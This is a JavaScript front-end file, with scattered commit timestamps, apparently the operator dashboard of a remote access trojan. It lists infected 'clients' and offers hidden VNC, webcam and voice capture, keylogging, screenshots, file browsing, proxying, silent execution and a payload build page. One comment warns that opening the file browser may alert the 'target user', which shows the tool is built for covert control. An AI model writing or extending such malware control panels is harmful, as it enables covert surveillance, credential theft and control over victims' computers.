2026-03-05 00:04:26 -06:00
import { state } from "./state.js" ;
import { debounce } from "./utils.js" ;
import { createRenderer } from "./render.js" ;
import { openMenu , closeMenu , openModal , wireModalClose , menu } from "./ui.js" ;
import {
registerRenderer ,
loadWithOptions ,
startAutoRefresh ,
sendCommand ,
requestPreview ,
requestThumbnail ,
} from "./data.js" ;
const grid = document . getElementById ( "grid" );
const totalPill = document . getElementById ( "total-pill" );
const pageLabel = document . getElementById ( "page-label" );
const prevBtn = document . getElementById ( "prev" );
const nextBtn = document . getElementById ( "next" );
const searchInput = document . getElementById ( "search" );
const sortSelect = document . getElementById ( "sort" );
const filterStatusSelect = document . getElementById ( "filter-status" );
const filterOsSelect = document . getElementById ( "filter-os" );
const showOfflineToggle = document . getElementById ( "toggle-offline" );
const selectAllBtn = document . getElementById ( "select-all" );
const clearSelectionBtn = document . getElementById ( "clear-selection" );
const logoutBtn = document . getElementById ( "logout-btn" );
const usernameDisplay = document . getElementById ( "username-display" );
const roleBadge = document . getElementById ( "role-badge" );
const usersLink = document . getElementById ( "users-link" );
const buildLink = document . getElementById ( "build-link" );
const deployLink = document . getElementById ( "deploy-link" );
const bulkToolbar = document . getElementById ( "bulk-toolbar" );
const selectedCountSpan = document . getElementById ( "selected-count" );
const bulkScreenshotBtn = document . getElementById ( "bulk-screenshot" );
const bulkDisconnectBtn = document . getElementById ( "bulk-disconnect" );
const bulkUninstallBtn = document . getElementById ( "bulk-uninstall" );
const bulkClearBtn = document . getElementById ( "bulk-clear" );
const selectedClients = new Set ();
let lastNonOnlineStatus = "all" ;
let currentUser = null ;
let contextCard = null ;
let availableOsList = new Set ();
const setContext = ( id ) => {
contextCard = id ;
};
const clearContext = () => {
contextCard = null ;
};
2026-03-06 18:32:16 -06:00
function detectClientPlatform ( clientId ) {
if ( ! clientId ) {
return "unknown" ;
}
const selectorId =
typeof CSS !== "undefined" && typeof CSS . escape === "function"
? CSS . escape ( clientId )
: clientId ;
const card = document . querySelector ( `article[data-id=" ${ selectorId } "]` );
const os = String ( card ? . dataset ? . os || "" ). toLowerCase ();
if ( os . includes ( "windows" )) return "windows" ;
if ( os . includes ( "darwin" ) || os . includes ( "mac" )) return "mac" ;
if ( os . includes ( "linux" )) return "linux" ;
return "unknown" ;
}
2026-03-10 19:30:51 -05:00
function getClientCard ( clientId ) {
if ( ! clientId ) return null ;
const selectorId =
typeof CSS !== "undefined" && typeof CSS . escape === "function"
? CSS . escape ( clientId )
: clientId ;
return document . querySelector ( `article[data-id=" ${ selectorId } "]` );
}
function isClientOnline ( clientId ) {
return getClientCard ( clientId ) ? . dataset . online === "true" ;
}
2026-03-06 18:32:16 -06:00
function applyMenuSupportRules ( clientId ) {
const platform = detectClientPlatform ( clientId );
const isWindows = platform === "windows" ;
const setAvailability = ( btn , enabled , reason ) => {
if ( ! btn ) return ;
btn . disabled = ! enabled ;
btn . setAttribute ( "aria-disabled" , String ( ! enabled ));
btn . classList . toggle ( "opacity-50" , ! enabled );
btn . classList . toggle ( "cursor-not-allowed" , ! enabled );
btn . classList . toggle ( "hover:bg-slate-700" , enabled );
btn . classList . toggle ( "hover:bg-slate-800/50" , ! enabled );
btn . title = enabled ? "" : reason ;
};
const hvncBtn = menu . querySelector ( '[data-open="hvnc"]' );
setAvailability ( hvncBtn , isWindows , "HVNC is only supported on Windows clients." );
2026-03-08 22:31:11 -05:00
const webcamBtn = menu . querySelector ( '[data-open="webcam"]' );
setAvailability ( webcamBtn , isWindows , "Webcam viewer is only supported on Windows clients." );
2026-03-06 18:32:16 -06:00
const keyloggerBtn = menu . querySelector ( '[data-open="keylogger"]' );
setAvailability (
keyloggerBtn ,
isWindows ,
"Keylogger capture is only fully supported on Windows clients." ,
);
}
2026-03-05 00:04:26 -06:00
async function loadCurrentUser () {
try {
const res = await fetch ( "/api/auth/me" );
if ( res . ok ) {
currentUser = await res . json ();
if ( currentUser && currentUser . username && currentUser . role ) {
if ( ! usernameDisplay || ! roleBadge ) {
return ;
}
usernameDisplay . textContent = currentUser . username ;
const roleBadges = {
admin : '<i class="fa-solid fa-crown mr-1"></i>Admin' ,
operator : '<i class="fa-solid fa-sliders mr-1"></i>Operator' ,
viewer : '<i class="fa-solid fa-eye mr-1"></i>Viewer' ,
};
if ( roleBadges [ currentUser . role ]) {
roleBadge . innerHTML = roleBadges [ currentUser . role ];
} else {
roleBadge . textContent = currentUser . role || "" ;
}
if ( currentUser . role === "admin" ) {
roleBadge . classList . add (
"bg-purple-900/50" ,
"text-purple-300" ,
"border" ,
"border-purple-800" ,
);
} else if ( currentUser . role === "operator" ) {
roleBadge . classList . add (
"bg-blue-900/50" ,
"text-blue-300" ,
"border" ,
"border-blue-800" ,
);
} else {
roleBadge . classList . add (
"bg-slate-700" ,
"text-slate-300" ,
"border" ,
"border-slate-600" ,
);
}
if ( currentUser . role === "admin" ) {
usersLink ? . classList . remove ( "hidden" );
}
if ( currentUser . role === "admin" || currentUser . role === "operator" ) {
buildLink ? . classList . remove ( "hidden" );
}
if ( currentUser . role === "admin" ) {
const pluginsLink = document . getElementById ( "plugins-link" );
pluginsLink ? . classList . remove ( "hidden" );
deployLink ? . classList . remove ( "hidden" );
document . getElementById ( "menu-silent-exec" ) ? . classList . remove ( "hidden" );
}
const scriptsLink = document . getElementById ( "scripts-link" );
if ( currentUser . role !== "viewer" ) {
scriptsLink ? . classList . remove ( "hidden" );
}
initializeRenderer ();
}
initializeRenderer ();
} else {
window . location . href = "/login.html" ;
}
} catch ( err ) {
console . error ( "Failed to load user:" , err );
}
}
async function loadPluginsForClient ( clientId ) {
const section = document . getElementById ( "plugin-section" );
const container = document . getElementById ( "plugin-menu" );
if ( ! section || ! container ) return ;
container . innerHTML = "" ;
section . classList . add ( "hidden" );
try {
const res = await fetch ( `/api/clients/ ${ clientId } /plugins` );
if ( ! res . ok ) return ;
const data = await res . json ();
const plugins = Array . isArray ( data . plugins ) ? data . plugins : [];
if ( ! plugins . length ) return ;
section . classList . remove ( "hidden" );
for ( const plugin of plugins ) {
if ( plugin . enabled === false ) {
continue ;
}
const btn = document . createElement ( "button" );
btn . className =
"w-full text-left px-3 py-2 rounded-lg border border-slate-700 bg-slate-800/60 hover:bg-slate-700 text-slate-100 flex items-center gap-2 justify-between" ;
btn . dataset . plugin = plugin . id ;
btn . dataset . loaded = plugin . loaded ? "true" : "false" ;
if ( plugin . lastError ) {
btn . title = `Last error: ${ plugin . lastError } ` ;
}
const label = document . createElement ( "span" );
const labelIcon = document . createElement ( "i" );
labelIcon . className = "fa-solid fa-puzzle-piece" ;
label . appendChild ( labelIcon );
label . append ( ` ${ plugin . name || plugin . id } ` );
const badge = document . createElement ( "span" );
badge . className =
"text-[10px] uppercase tracking-wider px-2 py-0.5 rounded-full border" +
( plugin . loaded
? " border-emerald-600 text-emerald-300 bg-emerald-900/40"
: " border-slate-600 text-slate-300 bg-slate-800/60" );
badge . textContent = plugin . loaded ? "loaded" : "available" ;
btn . appendChild ( label );
btn . appendChild ( badge );
container . appendChild ( btn );
if ( plugin . loaded ) {
const unloadBtn = document . createElement ( "button" );
unloadBtn . className =
"w-full text-left px-3 py-2 rounded-lg border border-red-800 bg-red-900/30 hover:bg-red-800/60 text-red-100 flex items-center gap-2" ;
unloadBtn . dataset . pluginUnload = plugin . id ;
const unloadIcon = document . createElement ( "i" );
unloadIcon . className = "fa-solid fa-plug-circle-xmark" ;
const unloadText = document . createElement ( "span" );
unloadText . textContent = `Unload ${ plugin . name || plugin . id } ` ;
unloadBtn . appendChild ( unloadIcon );
unloadBtn . appendChild ( unloadText );
container . appendChild ( unloadBtn );
}
}
} catch {
// ignore
}
}
function initializeRenderer () {
const { renderMerge } = createRenderer ({
grid ,
totalPill ,
pageLabel ,
openMenu : ( id , x , y ) => {
2026-03-06 18:32:16 -06:00
applyMenuSupportRules ( id );
2026-03-10 19:30:51 -05:00
openMenu ( id , x , y , setContext , { isOnline : isClientOnline ( id ) });
2026-03-05 00:04:26 -06:00
loadPluginsForClient ( id );
},
openModal ,
requestPreview ,
requestThumbnail ,
userRole : currentUser ? . role ,
});
registerRenderer ( renderMerge );
loadWithOptions ();
startAutoRefresh ();
if ( typeof anime !== "undefined" ) {
anime
. timeline ({ easing : "easeOutQuad" })
. add ({
targets : "header" ,
opacity : [ 0 , 1 ],
translateY : [ - 20 , 0 ],
duration : 600 ,
})
. add (
{
targets : "main > div > div:first-child" ,
opacity : [ 0 , 1 ],
translateY : [ 15 , 0 ],
duration : 500 ,
},
"-=400" ,
)
. add (
{
targets : "main > div > div:nth-child(2)" ,
opacity : [ 0 , 1 ],
translateY : [ 15 , 0 ],
duration : 500 ,
},
"-=350" ,
);
}
}
if ( logoutBtn && ! logoutBtn . dataset . boundLogout ) {
logoutBtn . dataset . boundLogout = "true" ;
logoutBtn . addEventListener ( "click" , async () => {
if ( ! confirm ( "Are you sure you want to logout?" )) return ;
try {
const res = await fetch ( "/api/logout" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
});
if ( res . ok ) {
window . location . href = "/" ;
} else {
alert ( "Logout failed. Please try again." );
}
} catch ( err ) {
console . error ( "Logout error:" , err );
alert ( "Logout failed. Please try again." );
}
});
}
wireModalClose ();
const debouncedSearch = debounce (() => {
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true });
}, 200 );
searchInput ? . addEventListener ( "input" , ( e ) => {
state . searchTerm = e . target . value ;
debouncedSearch ();
});
sortSelect ? . addEventListener ( "change" , ( e ) => {
state . sort = e . target . value ;
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true });
});
filterStatusSelect ? . addEventListener ( "change" , ( e ) => {
state . filterStatus = e . target . value ;
if ( state . filterStatus === "online" ) {
if ( showOfflineToggle ) showOfflineToggle . checked = false ;
} else {
lastNonOnlineStatus = state . filterStatus ;
if ( showOfflineToggle ) showOfflineToggle . checked = true ;
}
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true });
});
filterOsSelect ? . addEventListener ( "change" , ( e ) => {
state . filterOs = e . target . value ;
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true });
});
showOfflineToggle ? . addEventListener ( "change" , ( e ) => {
if ( e . target . checked ) {
state . filterStatus = lastNonOnlineStatus || "all" ;
} else {
if ( state . filterStatus !== "online" ) {
lastNonOnlineStatus = state . filterStatus ;
}
state . filterStatus = "online" ;
}
if ( filterStatusSelect ) {
filterStatusSelect . value = state . filterStatus ;
}
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true });
});
function updateBulkToolbar () {
selectedCountSpan . textContent = selectedClients . size ;
if ( selectedClients . size > 0 ) {
bulkToolbar ? . classList . remove ( "hidden" );
} else {
bulkToolbar ? . classList . add ( "hidden" );
}
}
function toggleClientSelection ( clientId ) {
const checkbox = document . querySelector (
`.client-checkbox[data-id=" ${ clientId } "]` ,
);
if ( ! checkbox ) return ;
if ( checkbox . checked ) {
selectedClients . add ( clientId );
} else {
selectedClients . delete ( clientId );
}
updateBulkToolbar ();
}
function syncSelectionState () {
document . querySelectorAll ( ".client-checkbox" ). forEach (( cb ) => {
const id = cb . dataset . id ;
if ( ! id ) return ;
cb . checked = selectedClients . has ( id );
});
updateBulkToolbar ();
}
bulkClearBtn ? . addEventListener ( "click" , () => {
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
});
clearSelectionBtn ? . addEventListener ( "click" , () => {
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
});
selectAllBtn ? . addEventListener ( "click" , () => {
document
. querySelectorAll ( ".client-checkbox:not(:disabled)" )
. forEach (( cb ) => {
cb . checked = true ;
if ( cb . dataset . id ) {
selectedClients . add ( cb . dataset . id );
}
});
updateBulkToolbar ();
});
bulkScreenshotBtn ? . addEventListener ( "click" , async () => {
if ( ! confirm ( `Take screenshot on ${ selectedClients . size } client(s)?` )) return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
const ok = await sendCommand ( clientId , "screenshot" );
if ( ok ) success ++ ;
}
alert ( `Screenshots sent to ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 400 );
});
bulkDisconnectBtn ? . addEventListener ( "click" , async () => {
if (
! confirm (
`Disconnect ${ selectedClients . size } client(s)? This will close their connections.` ,
)
)
return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
const ok = await sendCommand ( clientId , "disconnect" );
if ( ok ) success ++ ;
}
alert ( `Disconnected ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 1000 );
});
bulkUninstallBtn ? . addEventListener ( "click" , async () => {
if (
! confirm (
`Uninstall agent from ${ selectedClients . size } client(s)?\n\nThis will remove all persistence mechanisms and terminate the agents. This action cannot be undone.` ,
)
)
return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
const ok = await sendCommand ( clientId , "uninstall" );
if ( ok ) success ++ ;
}
alert ( `Uninstall sent to ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 1000 );
});
window . toggleClientSelection = toggleClientSelection ;
window . isClientSelected = ( clientId ) => selectedClients . has ( clientId );
window . syncClientSelection = syncSelectionState ;
2026-03-06 12:43:42 -06:00
window . removeClientFromDashboard = async ( clientId ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } ` , {
method : "DELETE" ,
headers : { "Content-Type" : "application/json" },
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to remove client from dashboard" );
return false ;
}
selectedClients . delete ( clientId );
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to remove client from dashboard" );
return false ;
}
};
2026-03-10 19:30:51 -05:00
window . setClientNickname = async ( clientId , nickname ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /nickname` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ nickname : nickname || "" }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update client nickname" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update client nickname" );
return false ;
}
};
2026-03-05 00:04:26 -06:00
window . banClient = async ( clientId ) => {
if ( ! clientId ) return ;
if ( ! confirm ( `Ban IP for ${ clientId } and block future connections?` )) return ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /ban` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to ban client IP" );
return ;
}
const data = await res . json (). catch (() => ({}));
alert ( `Banned IP ${ data . ip || "" } ` . trim ());
setTimeout (() => loadWithOptions ({ force : true }), 400 );
} catch ( err ) {
console . error ( err );
alert ( "Failed to ban client IP" );
}
};
prevBtn ? . addEventListener ( "click" , () => {
if ( state . page > 1 ) {
state . page -= 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true });
}
});
nextBtn ? . addEventListener ( "click" , () => {
state . page += 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true });
});
window . addEventListener ( "click" , ( e ) => {
const target = e . target ;
if ( target . closest && target . closest ( ".command-btn" )) return ;
if ( target . closest && target . closest ( ".modal" )) return ;
if ( menu . contains ( target )) return ;
closeMenu ( clearContext );
});
menu . addEventListener ( "click" , async ( e ) => {
const target = e . target . closest ( "button" );
if ( ! target || ! contextCard ) return ;
2026-03-06 18:32:16 -06:00
if ( target . disabled || target . getAttribute ( "aria-disabled" ) === "true" ) {
return ;
}
2026-03-05 00:04:26 -06:00
const pluginId = target . dataset . plugin ;
if ( pluginId ) {
try {
const res = await fetch ( `/api/clients/ ${ contextCard } /plugins/ ${ pluginId } /load` , {
method : "POST" ,
});
if ( ! res . ok ) {
const text = await res . text ();
alert ( `Plugin load failed: ${ text } ` );
closeMenu ( clearContext );
return ;
}
window . open ( `/plugins/ ${ pluginId } ?clientId= ${ contextCard } ` , "_blank" , "noopener" );
} catch ( err ) {
alert ( "Plugin load failed" );
}
closeMenu ( clearContext );
return ;
}
const unloadId = target . dataset . pluginUnload ;
if ( unloadId ) {
await fetch ( `/api/clients/ ${ contextCard } /plugins/ ${ unloadId } /unload` , {
method : "POST" ,
});
closeMenu ( clearContext );
return ;
}
const open = target . dataset . open ;
if ( open === "console" ) {
window . open ( `/ ${ contextCard } /console` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "remotedesktop" ) {
window . open ( `/remotedesktop?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-08 22:31:11 -05:00
if ( open === "webcam" ) {
window . open ( `/webcam?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
if ( open === "hvnc" ) {
window . open ( `/hvnc?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "files" ) {
2026-03-06 18:32:16 -06:00
const platform = detectClientPlatform ( contextCard );
if ( platform !== "windows" ) {
const proceed = confirm (
"Opening File Browser may show a permission prompt to the target user on their machine. Continue?" ,
);
if ( ! proceed ) {
closeMenu ( clearContext );
return ;
}
}
2026-03-05 00:04:26 -06:00
window . open ( `/ ${ contextCard } /files` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "processes" ) {
window . open ( `/ ${ contextCard } /processes` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "keylogger" ) {
window . open ( `/ ${ contextCard } /keylogger` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "proxy" ) {
window . open ( `/ ${ contextCard } /proxy` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "silent-exec" ) {
window . open ( `/deploy?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
const action = target . dataset . action ;
2026-03-07 23:27:57 -06:00
if ( open === "voice" ) {
window . open ( `/voice?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
if ( action === "uninstall" ) {
if (
! confirm (
`Uninstall agent from ${ contextCard } ?\n\nThis will remove all persistence mechanisms and terminate the agent. This action cannot be undone.` ,
)
) {
closeMenu ( clearContext );
return ;
}
} else if ( action === "disconnect" ) {
if (
! confirm (
`Disconnect ${ contextCard } ?\n\nThis will terminate the agent connection.` ,
)
) {
closeMenu ( clearContext );
return ;
}
2026-03-06 12:43:42 -06:00
} else if ( action === "remove-dashboard" ) {
if (
! confirm (
`Remove ${ contextCard } from the dashboard list?\n\nUse this for stale clients that are already gone. If that client reconnects later, it will appear again.` ,
)
) {
closeMenu ( clearContext );
return ;
}
const removed = await window . removeClientFromDashboard ( contextCard );
if ( removed ) {
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
2026-03-10 19:30:51 -05:00
} else if ( action === "set-nickname" ) {
const card = getClientCard ( contextCard );
const currentNickname = ( card ? . dataset . nickname || "" ). trim ();
const input = prompt (
`Set nickname for ${ contextCard } \n\nLeave blank to clear nickname.` ,
currentNickname ,
);
if ( input === null ) {
closeMenu ( clearContext );
return ;
}
const trimmed = input . trim ();
const updated = await window . setClientNickname ( contextCard , trimmed || null );
if ( updated ) {
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
}
if ( ! isClientOnline ( contextCard )) {
alert ( "Client is offline. This command can only be used while the client is online." );
closeMenu ( clearContext );
return ;
2026-03-05 00:04:26 -06:00
}
const ok = await sendCommand ( contextCard , action );
if ( ok ) {
setTimeout (() => loadWithOptions ({ force : true }), 400 );
}
closeMenu ( clearContext );
});
loadCurrentUser ();